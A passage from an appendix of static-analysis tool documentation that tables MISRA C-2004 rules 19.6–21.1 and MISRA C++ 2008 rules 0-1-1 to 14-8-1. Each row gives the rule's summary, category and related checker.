Rule 19.6	Preprocessing directives	#undef shall not be used.	Required	MISRA C-2004 Rule 19.6
Rule 19.7	Preprocessing directives	A function should be used in preference to a function-like macro.	Advisory	MISRA C-2004 Rule 19.7
Rule 19.8	Preprocessing directives	A function-like macro shall not be invoked without all of its arguments.	Required	MISRA C-2004 Rule 19.8
Rule 19.9	Preprocessing directives	Arguments to a function-like macro shall not contain tokens that look like preprocessing directives.	Required	MISRA C-2004 Rule 19.9
Rule 19.10	Preprocessing directives	In the definition of a function-like macro each instance of	Required	MISRA C-2004 Rule 19.10

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		a parameter shall be enclosed in parentheses unless it is used as the operand of # or ##.		
Rule 19.11	Preprocessing directives	All macro Identifiers in preprocessor directives shall be defined before use, except in #ifdef and #ifndef preprocessor directives and the defined() operator.	Required	MISRA C-2004 Rule 19.11
Rule 19.12	Preprocessing directives	There shall be at most one occurrence of the # or ## operators in a single macro definition.	Required	MISRA C-2004 Rule 19.12
Rule 19.13	Preprocessing directives	The # and ## preprocessor operators should not be used.	Advisory	MISRA C-2004 Rule 19.13
Rule 19.14	Preprocessing directives	The defined preprocessor operator shall only be used in one of the two standard forms.	Required	MISRA C-2004 Rule 19.14
Rule 19.15	Preprocessing directives	Precautions shall be taken in order to prevent the contents of a header file being included twice.	Required	MISRA C-2004 Rule 19.15
Rule 19.16	Preprocessing directives	Preprocessing directives shall be syntactically meaningful even when excluded by the preprocessor.	Required	MISRA C-2004 Rule 19.16

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
Rule 19.17	Preprocessing directives	All #else, #elif and #endif preprocessor directives shall reside in the same file as the #if or #ifdef directive to which they are related.	Required	MISRA C-2004 Rule 19.17
Rule 20.1	Standard Libraries	Reserved identifiers, macros and functions in the standard library, shall not be defined, redefined or undefined.	Required	MISRA C-2004 Rule 20.1
Rule 20.2	Standard Libraries	The names of standard library macros, objects and functions shall not be reused.	Required	MISRA C-2004 Rule 20.2
Rule 20.3	Standard Libraries	The validity of values passed to library functions shall be checked.	Required	MISRA C-2004 Rule 20.3
Rule 20.4	Standard Libraries	Dynamic heap memory allocation shall not be used.	Required	MISRA C-2004 Rule 20.4
Rule 20.5	Standard Libraries	The error indicator errno shall not be used.	Required	MISRA C-2004 Rule 20.5
Rule 20.6	Standard Libraries	The macro offsetof, in library <stddef.h>, shall not be used.	Required	MISRA C-2004 Rule 20.6
Rule 20.7	Standard Libraries	The setjmp macro and the longjmp function shall not be used.	Required	MISRA C-2004 Rule 20.7
Rule 20.8	Standard Libraries	The signal handling facilities of <signal.h> shall not be used.	Required	MISRA C-2004 Rule 20.8

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
Rule 20.9	Standard Libraries	The input/output library <stdio.h> shall not be used in production code.	Required	MISRA C-2004 Rule 20.9
Rule 20.10	Standard Libraries	The library functions atof, atoi and atol from library <stdlib.h> shall not be used.	Required	MISRA C-2004 Rule 20.10
Rule 20.11	Standard Libraries	The library functions abort, exit, getenv and system from library <stdlib.h> shall not be used.	Required	MISRA C-2004 Rule 20.11
Rule 20.12	Standard Libraries	The time handling functions of library <time.h> shall not be used.	Required	MISRA C-2004 Rule 20.12
Rule 21.1	Run-time failures	Minimisation of run-time failures shall be ensured by the use of at least one of (a) static analysis tools/ techniques; (b) dynamic analysis tools/techniques; (c) explicit coding of checks to handle run-time faults.	Required	

### E.3. MISRA C++ 2008

Table E.2. MISRA C++ 2008

Rule	Summary	Description	Default Category	Related Coverity Checker
Rule 0-1-1	Unnecessary constructs	A project shall not contain unreachable code.	Required	MISRA C++-2008 Rule 0-1-1

MISRA Rules and Directives

<b>Rule</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 0-1-2	Unnecessary constructs	A project shall not contain infeasible paths.	Required	MISRA C++-2008 Rule 0-1-2
Rule 0-1-3	Unnecessary constructs	A project shall not contain unused variables.	Required	MISRA C++-2008 Rule 0-1-3
Rule 0-1-4	Unnecessary constructs	A project shall not contain non-volatile POD variables having only one use.	Required	MISRA C++-2008 Rule 0-1-4
Rule 0-1-5	Unnecessary constructs	A project shall not contain unused type declarations.	Required	MISRA C++-2008 Rule 0-1-5
Rule 0-1-6	Unnecessary constructs	A project shall not contain instances of non-volatile variables being given values that are never subsequently used.	Required	MISRA C++-2008 Rule 0-1-6
Rule 0-1-7	Unnecessary constructs	The value returned by a function having a non-void return type that is not an overloaded operator shall always be used.	Required	MISRA C++-2008 Rule 0-1-7
Rule 0-1-8	Unnecessary constructs	All functions with void return type shall have external side effect(s).	Required	MISRA C++-2008 Rule 0-1-8
Rule 0-1-9	Unnecessary constructs	There shall be no dead code.	Required	MISRA C++-2008 Rule 0-1-9
Rule 0-1-10	Unnecessary constructs	Defined functions shall be called at least once.	Required	MISRA C++-2008 Rule 0-1-10
Rule 0-1-11	Unnecessary constructs	There shall be no unused parameters (named or unnamed)	Required	MISRA C++-2008 Rule 0-1-11

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		in non-virtual functions.		
Rule 0-1-12	Unnecessary constructs	There shall be no unused parameters (named or unnamed) in the set of parameters for a virtual function and all the functions that override it.	Required	MISRA C++-2008 Rule 0-1-12
Rule 0-2-1	Storage	An object shall not be assigned to an overlapping object.	Required	MISRA C++-2008 Rule 0-2-1
Rule 0-3-1	Run-Time-Failures	Minimization of run-time failures shall be ensured by the use of at least one of: (a) static analysis (b) dynamic analysis (c) explicit coding of checks to handle run time faults.	Document	
Rule 0-3-2	Run-Time-Failures	If a function returns error information, then that error information shall be tested.	Required	MISRA C++-2008 Rule 0-3-2
Rule 0-4-1	Arithmetic	Use of scaled-integer or fixed point arithmetic shall be documented.	Document	
Rule 0-4-2	Arithmetic	Use of floating-point arithmetic shall be documented.	Document	
Rule 0-4-3	Arithmetic	Floating point implementations shall comply with a defined floating point standard.	Document	

MISRA Rules and Directives

<b>Rule</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 1-0-1	Language	All code shall conform to ISO/IEC 14882:2003 "The C++ Standard Incorporating Technical Corrigendum 1.	Required	
Rule 1-0-2	Language	Multiple compilers shall only be used if they have a common defined interface.	Document	
Rule 1-0-3	Language	The implementation of integer division in the chosen compiler shall be determined and documented.	Document	
Rule 2-2-1	Character Sets	The character set and the corresponding encoding shall be documented.	Document	
Rule 2-3-1	Trigraph Sequences	Trigraphs shall not be used.	Required	MISRA C++-2008 Rule 2-3-1
Rule 2-5-1	Alternative Tokens	Digraphs should not be used.	Advisory	MISRA C++-2008 Rule 2-5-1
Rule 2-7-1	Comments	The character sequence /* shall not be used within a C-style comment.	Required	MISRA C++-2008 Rule 2-7-1
Rule 2-7-2	Comments	Sections of code should not be "commented out" using C-style comments.	Required	MISRA C++-2008 Rule 2-7-2
Rule 2-7-3	Comments	Sections of code should not be "commented out" using C++ comments.	Advisory	MISRA C++-2008 Rule 2-7-3

MISRA Rules and Directives

<b>Rule</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 2-10-1	Identifiers	Different identifiers shall be typographically unambiguous.	Required	MISRA C++-2008 Rule 2-10-1
Rule 2-10-2	Identifiers	Identifiers declared in an inner scope shall not hide an identifier declared in an outer scope.	Required	MISRA C++-2008 Rule 2-10-2
Rule 2-10-3	Identifiers	A typedef name (including qualification, if any) shall be a unique identifier.	Required	MISRA C++-2008 Rule 2-10-3
Rule 2-10-4	Identifiers	A class, union or enum name (including qualification, if any) shall be a unique identifier.	Required	MISRA C++-2008 Rule 2-10-4
Rule 2-10-5	Identifiers	The identifier name of a non-member object or function with static storage duration should not be reused.	Advisory	MISRA C++-2008 Rule 2-10-5
Rule 2-10-6	Identifiers	If an identifier refers to a type, it shall not also refer to an object or a function in the same scope.	Required	MISRA C++-2008 Rule 2-10-6
Rule 2-13-1	Literals	Only those escape sequences that are defined in ISO/IEC 14882:2003 shall be used.	Required	MISRA C++-2008 Rule 2-13-1
Rule 2-13-2	Literals	Octal constants (other than zero) and octal escape sequences (other than "\0") shall not be used.	Required	MISRA C++-2008 Rule 2-13-2

MISRA Rules and Directives

<b>Rule</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 2-13-3	Literals	A "U" suffix shall be applied to all octal or hexadecimal integer literals of unsigned type.	Required	MISRA C++-2008 Rule 2-13-3
Rule 2-13-4	Literals	Literal suffixes shall be upper case.	Required	MISRA C++-2008 Rule 2-13-4
Rule 2-13-5	Literals	Narrow and wide string literals shall not be concatenated.	Required	MISRA C++-2008 Rule 2-13-5
Rule 3-1-1	Declarations and definitions	It shall be possible to include any header file in multiple translation units without violating the One Definition Rule.	Required	MISRA C++-2008 Rule 3-1-1
Rule 3-1-2	Declarations and definitions	Functions shall not be declared at block scope.	Required	MISRA C++-2008 Rule 3-1-2
Rule 3-1-3	Declarations and definitions	When an array is declared, its size shall either be stated explicitly or defined implicitly by initialization.	Required	MISRA C++-2008 Rule 3-1-3
Rule 3-2-1	One Definition Rule	All declarations of an object or function shall have compatible types.	Required	MISRA C++-2008 Rule 3-2-1
Rule 3-2-2	One Definition Rule	The One Definition Rule shall not be violated.	Required	MISRA C++-2008 Rule 3-2-2
Rule 3-2-3	One Definition Rule	A type, object or function that is used in multiple translation units shall be declared in one and only one file.	Required	MISRA C++-2008 Rule 3-2-3

MISRA Rules and Directives

<b>Rule</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 3-2-4	One Definition Rule	An identifier with external linkage shall have exactly one external definition.	Required	MISRA C++-2008 Rule 3-2-4
Rule 3-3-1	Declarative regions and scope	Objects or functions with external linkage shall be declared in a header file.	Required	MISRA C++-2008 Rule 3-3-1
Rule 3-3-2	Declarative regions and scope	If a function has internal linkage then all re-declarations shall include the static storage class specifier.	Required	MISRA C++-2008 Rule 3-3-2
Rule 3-4-1	Name lookup	An identifier declared to be an object or type shall be defined in a block that minimizes its visibility.	Required	MISRA C++-2008 Rule 3-4-1
Rule 3-9-1	Types	The types used for an object, a function return type, or a function parameter shall be token-for-token identical in all declarations and re-declarations.	Required	MISRA C++-2008 Rule 3-9-1
Rule 3-9-2	Types	Typedefs that indicate size and signedness should be used in place of the basic numerical types.	Advisory	MISRA C++-2008 Rule 3-9-2
Rule 3-9-3	Types	The underlying bit representations of floating-point	Required	MISRA C++-2008 Rule 3-9-3

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		values shall not be used.		
Rule 4-5-1	Integral promotions	Expressions with type bool shall not be used as operands to built-in operators other than the assignment operator =, the logical operators &&,   , !, the equality operators == and !=, the unary & operator, and the conditional operator.	Required	MISRA C++-2008 Rule 4-5-1
Rule 4-5-2	Integral promotions	Expressions with type enum shall not be used as operands to built-in operators other than the subscript operator [ ], the assignment operator =, the equality operators == and !=, the unary & operator, and the relational operators <, <=, >, >=.	Required	MISRA C++-2008 Rule 4-5-2
Rule 4-5-3	Integral promotions	Expressions with type (plain) char and wchar_t shall not be used as operands to built-in operators other than the assignment operator =, the equality operators == and !=, and the unary & operator.	Required	MISRA C++-2008 Rule 4-5-3

MISRA Rules and Directives

<b>Rule</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 4-10-1	Pointer Conversions	NULL shall not be used as an integer value.	Required	MISRA C++-2008 Rule 4-10-1
Rule 4-10-2	Pointer Conversions	Literal zero (0) shall not be used as the null-pointer constant.	Required	MISRA C++-2008 Rule 4-10-2
Rule 5-0-1	General Expressions	The value of an expression shall be the same under any order of evaluation that the standard permits.	Required	MISRA C++-2008 Rule 5-0-1
Rule 5-0-2	General Expressions	Limited dependence should be placed on C++ operator precedence rules in expressions.	Advisory	MISRA C++-2008 Rule 5-0-2
Rule 5-0-3	General Expressions	A cvalue expression shall not be implicitly converted to a different underlying type.	Required	MISRA C++-2008 Rule 5-0-3
Rule 5-0-4	General Expressions	An implicit integral conversion shall not change the signedness of the underlying type.	Required	MISRA C++-2008 Rule 5-0-4
Rule 5-0-5	General Expressions	There shall be no implicit floating-integral conversions.	Required	MISRA C++-2008 Rule 5-0-5
Rule 5-0-6	General Expressions	An implicit integral or floating-point conversion shall not reduce the size of the underlying type.	Required	MISRA C++-2008 Rule 5-0-6
Rule 5-0-7	General Expressions	There shall be no explicit floating-integral	Required	MISRA C++-2008 Rule 5-0-7

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		conversions of a cvalue expression.		
Rule 5-0-8	General Expressions	An explicit integral or floating-point conversion shall not increase the size of the underlying type of a cvalue expression.	Required	MISRA C++-2008 Rule 5-0-8
Rule 5-0-9	General Expressions	An explicit integral conversion shall not change the signedness of the underlying type of a cvalue expression.	Required	MISRA C++-2008 Rule 5-0-9
Rule 5-0-10	General Expressions	If the bitwise operators ~ and << are applied to an operand with an underlying type of unsigned char or unsigned short, the result shall be immediately cast to the underlying type of the operand.	Required	MISRA C++-2008 Rule 5-0-10
Rule 5-0-11	General Expressions	The plain char type shall only be used for the storage and use of character values.	Required	MISRA C++-2008 Rule 5-0-11
Rule 5-0-12	General Expressions	Signed char and unsigned char type shall only be used for the storage and use of numeric values.	Required	MISRA C++-2008 Rule 5-0-12
Rule 5-0-13	General Expressions	The condition of an if-statement and the condition of an iteration-statement shall have type bool.	Required	MISRA C++-2008 Rule 5-0-13

MISRA Rules and Directives

<b>Rule</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 5-0-14	General Expressions	The first operand of a conditional-operator shall have type bool.	Required	MISRA C++-2008 Rule 5-0-14
Rule 5-0-15	General Expressions	Array indexing shall be the only allowed form of pointer arithmetic.	Required	MISRA C++-2008 Rule 5-0-15
Rule 5-0-16	General Expressions	A pointer operand and any pointer resulting from pointer arithmetic using that operand shall both address elements of the same array.	Required	MISRA C++-2008 Rule 5-0-16
Rule 5-0-17	General Expressions	Subtraction between pointers shall only be applied to pointers that address elements of the same array.	Required	MISRA C++-2008 Rule 5-0-17
Rule 5-0-18	General Expressions	The relational operators $>$ , $>=$ , $<$ and $<=$ shall not be applied to objects of pointer type, except where they point to the same array.	Required	MISRA C++-2008 Rule 5-0-18
Rule 5-0-19	General Expressions	The declaration of objects shall contain no more than two levels of pointer indirection.	Required	MISRA C++-2008 Rule 5-0-19
Rule 5-0-20	General Expressions	Non-constant operands to a binary bitwise operator shall have the same underlying type.	Required	MISRA C++-2008 Rule 5-0-20

MISRA Rules and Directives

<b>Rule</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 5-0-21	General Expressions	Bitwise operators shall only be applied to operands of unsigned underlying type.	Required	MISRA C++-2008 Rule 5-0-21
Rule 5-2-1	Postfix Expressions	Each operand of a logical && or    shall be a postfix-expression.	Required	MISRA C++-2008 Rule 5-2-1
Rule 5-2-2	Postfix Expressions	A pointer to a virtual base class shall only be cast to a pointer to a derived class by means of <code>dynamic_cast</code> .	Required	MISRA C++-2008 Rule 5-2-2
Rule 5-2-3	Postfix Expressions	Casts from a base class to a derived class should not be performed on polymorphic types.	Advisory	MISRA C++-2008 Rule 5-2-3
Rule 5-2-4	Postfix Expressions	C-style casts (other than void casts) and functional notation casts (other than explicit constructor calls) shall not be used.	Required	MISRA C++-2008 Rule 5-2-4
Rule 5-2-5	Postfix Expressions	A cast shall not remove any <code>const</code> or <code>volatile</code> qualification from the type of a pointer or reference.	Required	MISRA C++-2008 Rule 5-2-5
Rule 5-2-6	Postfix Expressions	A cast shall not convert a pointer to a function to any other pointer type, including a pointer to function type.	Required	MISRA C++-2008 Rule 5-2-6
Rule 5-2-7	Postfix Expressions	An object with pointer type shall	Required	MISRA C++-2008 Rule 5-2-7

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		not be converted to an unrelated pointer type, either directly or indirectly.		
Rule 5-2-8	Postfix Expressions	An object with integer type or pointer to void type shall not be converted to an object with pointer type.	Required	MISRA C++-2008 Rule 5-2-8
Rule 5-2-9	Postfix Expressions	A cast should not convert a pointer type to an integral type.	Advisory	MISRA C++-2008 Rule 5-2-9
Rule 5-2-10	Postfix Expressions	The increment (++) and decrement (--) operators should not be mixed with other operators in an expression.	Advisory	MISRA C++-2008 Rule 5-2-10
Rule 5-2-11	Postfix Expressions	The comma operator, && operator and the    operator shall not be overloaded.	Required	MISRA C++-2008 Rule 5-2-11
Rule 5-2-12	Postfix Expressions	An identifier with array type passed as a function argument shall not decay to a pointer.	Required	MISRA C++-2008 Rule 5-2-12
Rule 5-3-1	Unary Expressions	Each operand of the ! operator, the logical && or the logical    operators shall have type bool.	Required	MISRA C++-2008 Rule 5-3-1
Rule 5-3-2	Unary Expressions	The unary minus operator shall not be applied to an expression whose	Required	MISRA C++-2008 Rule 5-3-2

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		underlying type is unsigned.		
Rule 5-3-3	Unary Expressions	The unary & operator shall not be overloaded.	Required	MISRA C++-2008 Rule 5-3-3
Rule 5-3-4	Unary Expressions	Evaluation of the operand to the sizeof operator shall not contain side effects.	Required	MISRA C++-2008 Rule 5-3-4
Rule 5-8-1	Shift Operators	The right-hand operand of a shift operator shall lie between zero and one less than the width in bits of the underlying type of the left-hand operand.	Required	MISRA C++-2008 Rule 5-8-1
Rule 5-14-1	Logical AND operator	The right hand operand of a logical && or    operator shall not contain side effects.	Required	MISRA C++-2008 Rule 5-14-1
Rule 5-17-1	Assignment Operators	The semantic equivalence between a binary operator and its assignment operator form shall be preserved.	Required	
Rule 5-18-1	Comma Operator	The comma operator shall not be used.	Required	MISRA C++-2008 Rule 5-18-1
Rule 5-19-1	Constant Expressions	Evaluation of constant unsigned integer expressions should not lead to wrap-around.	Advisory	MISRA C++-2008 Rule 5-19-1
Rule 6-2-1	Expression Statement	Assignment operators shall not	Required	MISRA C++-2008 Rule 6-2-1

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		be used in sub-expressions.		
Rule 6-2-2	Expression Statement	Floating-point expressions shall not be directly or indirectly tested for equality or inequality.	Required	MISRA C++-2008 Rule 6-2-2
Rule 6-2-3	Expression Statement	Before preprocessing, a null statement shall only occur on a line by itself; it may be followed by a comment provided that the first character following the null statement is a white-space character.	Required	MISRA C++-2008 Rule 6-2-3
Rule 6-3-1	Compound Statement	The statement forming the body of a switch, while, do ... while or for statement shall be a compound statement.	Required	MISRA C++-2008 Rule 6-3-1
Rule 6-4-1	Selection Statements	An if ( condition ) construct shall be followed by a compound statement. The else keyword shall be followed by either a compound statement, or another if statement.	Required	MISRA C++-2008 Rule 6-4-1
Rule 6-4-2	Selection Statements	All if ... else if constructs shall be terminated with an else statement.	Required	MISRA C++-2008 Rule 6-4-2

MISRA Rules and Directives

<b>Rule</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 6-4-3	Selection Statements	A switch statement shall be a well-formed switch statement.	Required	MISRA C++-2008 Rule 6-4-3
Rule 6-4-4	Selection Statements	A switch-label shall only be used when the most closely-enclosing compound statement is the body of a switch statement.	Required	MISRA C++-2008 Rule 6-4-4
Rule 6-4-5	Selection Statements	An unconditional throw or break statement shall terminate every non-empty switch-clause.	Required	MISRA C++-2008 Rule 6-4-5
Rule 6-4-6	Selection Statements	The final clause of a switch statement shall be the default-clause.	Required	MISRA C++-2008 Rule 6-4-6
Rule 6-4-7	Selection Statements	The condition of a switch statement shall not have bool type.	Required	MISRA C++-2008 Rule 6-4-7
Rule 6-4-8	Selection Statements	Every switch statement shall have at least one case clause.	Required	MISRA C++-2008 Rule 6-4-8
Rule 6-5-1	Iteration Statements	A for loop shall contain a single loop-counter which shall not have floating type.	Required	MISRA C++-2008 Rule 6-5-1
Rule 6-5-2	Iteration Statements	If loop-counter is not modified by -- or ++, then within condition, the loop-counter shall only be used as an	Required	MISRA C++-2008 Rule 6-5-2

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		operand to <=, <, > or >=.		
Rule 6-5-3	Iteration Statements	The loop-counter shall not be modified within condition or statement.	Required	MISRA C++-2008 Rule 6-5-3
Rule 6-5-4	Iteration Statements	The loop-counter shall be modified by one of: --, ++, -=n, or +=n; where n remains constant for the duration of the loop.	Required	MISRA C++-2008 Rule 6-5-4
Rule 6-5-5	Iteration Statements	A loop-control-variable other than loop-counter shall not be modified within condition or expression.	Required	MISRA C++-2008 Rule 6-5-5
Rule 6-5-6	Iteration Statements	A loop-control-variable other than the loop-counter which is modified in statement shall have type bool.	Required	MISRA C++-2008 Rule 6-5-6
Rule 6-6-1	Jump Statements	Any label referenced by a goto statement shall be declared in the same block, or in any block enclosing the goto statement.	Required	MISRA C++-2008 Rule 6-6-1
Rule 6-6-2	Jump Statements	The goto statement shall jump to a label declared later in the same function.	Required	MISRA C++-2008 Rule 6-6-2
Rule 6-6-3	Jump Statements	The continue statement shall only be used within	Required	MISRA C++-2008 Rule 6-6-3

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		a well-formed for loop.		
Rule 6-6-4	Jump Statements	For any iteration statement there shall be no more than one break or goto statement used for loop termination.	Required	MISRA C++-2008 Rule 6-6-4
Rule 6-6-5	Jump Statements	A function shall have a single point of exit at the end of the function.	Required	MISRA C++-2008 Rule 6-6-5
Rule 7-1-1	Specifiers	A variable that is not modified shall be const qualified.	Required	MISRA C++-2008 Rule 7-1-1
Rule 7-1-2	Specifiers	A pointer or reference parameter in a function shall be declared as pointer to const or reference to const if the corresponding object is not modified.	Required	MISRA C++-2008 Rule 7-1-2
Rule 7-2-1	Enumeration Declarations	An expression with enum underlying type shall only have values corresponding to the enumerators of the enumeration.	Required	MISRA C++-2008 Rule 7-2-1
Rule 7-3-1	Namespaces	Global namespace shall only contain main, namespace declarations and extern declarations.	Required	MISRA C++-2008 Rule 7-3-1
Rule 7-3-2	Namespaces	The identifier main shall not be used for a function other	Required	MISRA C++-2008 Rule 7-3-2

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		than the global function main.		
Rule 7-3-3	Namespaces	There shall be no unnamed namespaces in header files.	Required	MISRA C++-2008 Rule 7-3-3
Rule 7-3-4	Namespaces	using-directives shall not be used.	Required	MISRA C++-2008 Rule 7-3-4
Rule 7-3-5	Namespaces	Multiple declarations for an identifier in the same namespace shall not straddle a using-declaration for that identifier.	Required	MISRA C++-2008 Rule 7-3-5
Rule 7-3-6	Namespaces	using-directives and using-declarations (excluding class scope or function scope using-declarations) shall not be used in header files.	Required	MISRA C++-2008 Rule 7-3-6
Rule 7-4-1	The asm Declaration	All usage of assembler shall be documented.	Document	
Rule 7-4-2	The asm Declaration	Assembler instructions shall only be introduced using the asm declaration.	Required	MISRA C++-2008 Rule 7-4-2
Rule 7-4-3	The asm Declaration	Assembly language shall be encapsulated and isolated.	Required	MISRA C++-2008 Rule 7-4-3
Rule 7-5-1	Linkage Specifications	A function shall not return a reference or a pointer to an automatic variable (including parameters),	Required	MISRA C++-2008 Rule 7-5-1

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		defined within the function.		
Rule 7-5-2	Linkage Specifications	The address of an object with automatic storage shall not be assigned to another object that may persist after the first object has ceased to exist.	Required	MISRA C++-2008 Rule 7-5-2
Rule 7-5-3	Linkage Specifications	A function shall not return a reference or a pointer to a parameter that is passed by reference or const reference.	Required	MISRA C++-2008 Rule 7-5-3
Rule 7-5-4	Linkage Specifications	Functions should not call themselves, either directly or indirectly.	Advisory	MISRA C++-2008 Rule 7-5-4
Rule 8-0-1	General	An init-declarator-list or a member-declarator-list shall consist of a single init-declarator or member-declarator respectively.	Required	MISRA C++-2008 Rule 8-0-1
Rule 8-3-1	Meaning of Declarators	Parameters in an overriding virtual function shall either use the same default arguments as the function they override, or else shall not specify any default arguments.	Required	MISRA C++-2008 Rule 8-3-1
Rule 8-4-1	Function Definitions	Functions shall not be defined using the ellipsis notation.	Required	MISRA C++-2008 Rule 8-4-1

MISRA Rules and Directives

<b>Rule</b>	<b>Summary</b>	<b>Description</b>	<b>Default Category</b>	<b>Related Coverity Checker</b>
Rule 8-4-2	Function Definitions	The identifiers used for the parameters in a redeclaration of a function shall be identical to those in the declaration.	Required	MISRA C++-2008 Rule 8-4-2
Rule 8-4-3	Function Definitions	All exit paths from a function with non-void return type shall have an explicit return statement with an expression.	Required	MISRA C++-2008 Rule 8-4-3
Rule 8-4-4	Function Definitions	A function identifier shall either be used to call the function or it shall be preceded by &.	Required	MISRA C++-2008 Rule 8-4-4
Rule 8-5-1	Initializers	All variables shall have a defined value before they are used.	Required	MISRA C++-2008 Rule 8-5-1
Rule 8-5-2	Initializers	Braces shall be used to indicate and match the structure in the non-zero initialisation of arrays and structures.	Required	MISRA C++-2008 Rule 8-5-2
Rule 8-5-3	Initializers	In an enumerator list, the = construct shall not be used to explicitly initialize members other than the first, unless all items are explicitly initialized.	Required	MISRA C++-2008 Rule 8-5-3
Rule 9-3-1	Member Functions	const member functions shall not return non-const pointers or	Required	MISRA C++-2008 Rule 9-3-1

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		references to class-data.		
Rule 9-3-2	Member Functions	Member functions shall not return non-const handles to class-data.	Required	MISRA C++-2008 Rule 9-3-2
Rule 9-3-3	Member Functions	If a member function can be made static then it shall be made static, otherwise if it can be made const then it shall be made const.	Required	MISRA C++-2008 Rule 9-3-3
Rule 9-5-1	Unions	Unions shall not be used.	Required	MISRA C++-2008 Rule 9-5-1
Rule 9-6-1	Bit Fields	When the absolute positioning of bits representing a bit-field is required, then the behavior and packing of bit-fields shall be documented.	Document	
Rule 9-6-2	Bit Fields	Bit-fields shall be either bool type or an explicitly unsigned or signed integral type.	Required	MISRA C++-2008 Rule 9-6-2
Rule 9-6-3	Bit Fields	Bit-fields shall not have enum type.	Required	MISRA C++-2008 Rule 9-6-3
Rule 9-6-4	Bit Fields	Named bit-fields with signed integer type shall have a length of more than one bit.	Required	MISRA C++-2008 Rule 9-6-4
Rule 10-1-1	Multiple Base Classes	Classes should not be derived from virtual bases.	Advisory	MISRA C++-2008 Rule 10-1-1
Rule 10-1-2	Multiple Base Classes	A base class shall only be declared virtual if it is used	Required	MISRA C++-2008 Rule 10-1-2

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		in a diamond hierarchy.		
Rule 10-1-3	Multiple Base Classes	An accessible base class shall not be both virtual and non-virtual in the same hierarchy.	Required	MISRA C++-2008 Rule 10-1-3
Rule 10-2-1	Member Name Lookup	All accessible entity names within a multiple inheritance hierarchy should be unique.	Advisory	MISRA C++-2008 Rule 10-2-1
Rule 10-3-1	Virtual Functions	There shall be no more than one definition of each virtual function on each path through the inheritance hierarchy.	Required	MISRA C++-2008 Rule 10-3-1
Rule 10-3-2	Virtual Functions	Each overriding virtual function shall be declared with the virtual keyword.	Required	MISRA C++-2008 Rule 10-3-2
Rule 10-3-3	Virtual Functions	A virtual function shall only be overridden by a pure virtual function if it is itself declared as pure virtual.	Required	MISRA C++-2008 Rule 10-3-3
Rule 11-0-1	General	Member data in non-POD class types shall be private.	Required	MISRA C++-2008 Rule 11-0-1
Rule 12-1-1	Constructors	An object's dynamic type shall not be used from the body of its constructor or destructor.	Required	MISRA C++-2008 Rule 12-1-1
Rule 12-1-2	Constructors	All constructors of a class should explicitly call a constructor for all	Advisory	MISRA C++-2008 Rule 12-1-2

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		of its immediate base classes and all virtual base classes.		
Rule 12-1-3	Constructors	All constructors that are callable with a single argument of fundamental type shall be declared explicit.	Required	MISRA C++-2008 Rule 12-1-3
Rule 12-8-1	Copying class objects	A copy constructor shall only initialize its base classes and the non-static members of the class of which it is a member.	Required	MISRA C++-2008 Rule 12-8-1
Rule 12-8-2	Copying class objects	The copy assignment operator shall be declared protected or private in an abstract class.	Required	MISRA C++-2008 Rule 12-8-2
Rule 14-5-1	Template declarations	A non-member generic function shall only be declared in a namespace that is not an associated namespace.	Required	MISRA C++-2008 Rule 14-5-1
Rule 14-5-2	Template declarations	A copy constructor shall be declared when there is a template constructor with a single parameter that is a generic parameter.	Required	MISRA C++-2008 Rule 14-5-2
Rule 14-5-3	Template declarations	A copy assignment operator shall be declared when there is a template assignment	Required	MISRA C++-2008 Rule 14-5-3

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		operator with a parameter that is a generic parameter.		
Rule 14-6-1	Name Resolution	In a class template with a dependent base, any name that may be found in that dependent base shall be referred to using a qualified-id or this->.	Required	MISRA C++-2008 Rule 14-6-1
Rule 14-6-2	Name Resolution	The function chosen by overload resolution shall resolve to a function declared previously in the translation unit.	Required	MISRA C++-2008 Rule 14-6-2
Rule 14-7-1	Template Instantiation and Specialization	All class templates, function templates, class template member functions and class template static members shall be instantiated at least once.	Required	MISRA C++-2008 Rule 14-7-1
Rule 14-7-2	Template Instantiation and Specialization	For any given template specialization, an explicit instantiation of the template with the template-arguments used in the specialization shall not render the program ill-formed.	Required	MISRA C++-2008 Rule 14-7-2
Rule 14-7-3	Template Instantiation and Specialization	All partial and explicit specializations for a template shall be declared in the same file as the	Required	MISRA C++-2008 Rule 14-7-3

MISRA Rules and Directives

Rule	Summary	Description	Default Category	Related Coverity Checker
		declaration of their primary template.		
Rule 14-8-1	Function Template Specialization	Overloaded function templates shall not be explicitly specialized.	Required	MISRA C++-2008 Rule 14-8-1
